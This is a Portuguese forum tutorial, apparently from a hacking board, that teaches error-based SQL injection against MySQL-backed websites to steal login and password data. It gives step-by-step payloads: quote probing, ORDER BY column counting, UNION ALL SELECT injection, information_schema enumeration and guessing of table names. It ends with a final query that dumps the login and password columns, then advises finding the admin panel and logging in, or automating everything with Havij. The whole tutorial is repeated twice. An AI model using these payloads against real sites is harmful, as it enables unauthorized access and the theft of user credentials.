Olá Pessoal ,
essa aula estremos aprendendo SQL, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.
Aqui esta o site: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'
Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282
Essa falha é baseada em erros.
Vamos pegar o numero de colunas usando ORDER BY *
É usado dessa maneira:
+order+by+1 //Sem erro
+order+by+2 //Sem erro
+order+by+3 //Sem erro
+order+by+4 //Sem erro
+order+by+5 //Sem erro
+order+by+6 //Erro
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Então são apenas 5 colunas
Vamos uni-las, usando UNION ALL SELECT *
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Coloque um traço (-) antes do valor da variavel ficando assim:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Irão aparecer numeros, eles que nóis iremos subtituir por informações:
Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()
+union+all+select+1,version(),3
//--Brute Force--\\
Vamos tentar colocar tabelas até que não apareça erro:
UNION ALL SELECT * FROM ADMIN == erro
"" "" "" "" LOGIN == erro
"" "" "" "" USER == erro
"" "" "" "" USERS == erro
"" "" "" "" USUARIOS == sem erro
Então no caso ficaria assim:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.
//--INFORMATION_SCHEMA--\\
DATABASE: INFORMATION_SCHEMA
TABELA: TABLES
COLUNA: TABLE_NAME
Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES
Para ir passando de tabela você usa LIMIT *
LIMIT 1,1
LIMIT 2,1
LIMIT 3,1
LIMIT 4,1
LIMIT 5,1
... E assim vai indo até encontrar uma tabela de login.
Ex:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
//
Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:
DATABASE: INFORMATION_SCHEMA
TABELLA: COLUMNS
COLUNA: COLUMN_NAME
Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS
Para passar de coluna pode usar o LIMIT também.
//
Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:
UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php
Primeiramente , vale lembrar que existe um método mais facil para isso , é utilizar 3 softwares -
Havij , Admin Finder e Acunetix
Pegue primeiro o site , escaneie com o Acunetix , pegue as url vulneráveis de SQL Injection do Site , coloque a url Vulnerável para escanear no Havij , Retire a Senha e o Admin com o Havij , Pegue a Página de Login com o Admin Finder e Logue no Sistema.
Boa Sorte Pessoal =D !!
essa aula estremos aprendendo SQL, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.
Aqui esta o site: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'
Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282
Essa falha é baseada em erros.
Vamos pegar o numero de colunas usando ORDER BY *
É usado dessa maneira:
+order+by+1 //Sem erro
+order+by+2 //Sem erro
+order+by+3 //Sem erro
+order+by+4 //Sem erro
+order+by+5 //Sem erro
+order+by+6 //Erro
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Então são apenas 5 colunas
Vamos uni-las, usando UNION ALL SELECT *
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Coloque um traço (-) antes do valor da variavel ficando assim:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Irão aparecer numeros, eles que nóis iremos subtituir por informações:
Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()
+union+all+select+1,version(),3
//--Brute Force--\\
Vamos tentar colocar tabelas até que não apareça erro:
UNION ALL SELECT * FROM ADMIN == erro
"" "" "" "" LOGIN == erro
"" "" "" "" USER == erro
"" "" "" "" USERS == erro
"" "" "" "" USUARIOS == sem erro
Então no caso ficaria assim:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.
//--INFORMATION_SCHEMA--\\
DATABASE: INFORMATION_SCHEMA
TABELA: TABLES
COLUNA: TABLE_NAME
Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES
Para ir passando de tabela você usa LIMIT *
LIMIT 1,1
LIMIT 2,1
LIMIT 3,1
LIMIT 4,1
LIMIT 5,1
... E assim vai indo até encontrar uma tabela de login.
Ex:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
//
Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:
DATABASE: INFORMATION_SCHEMA
TABELLA: COLUMNS
COLUNA: COLUMN_NAME
Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS
Para passar de coluna pode usar o LIMIT também.
//
Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:
UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php
Primeiramente , vale lembrar que existe um método mais facil para isso , é utilizar 3 softwares -
Havij , Admin Finder e Acunetix
Pegue primeiro o site , escaneie com o Acunetix , pegue as url vulneráveis de SQL Injection do Site , coloque a url Vulnerável para escanear no Havij , Retire a Senha e o Admin com o Havij , Pegue a Página de Login com o Admin Finder e Logue no Sistema.
Boa Sorte Pessoal =D !!
Comment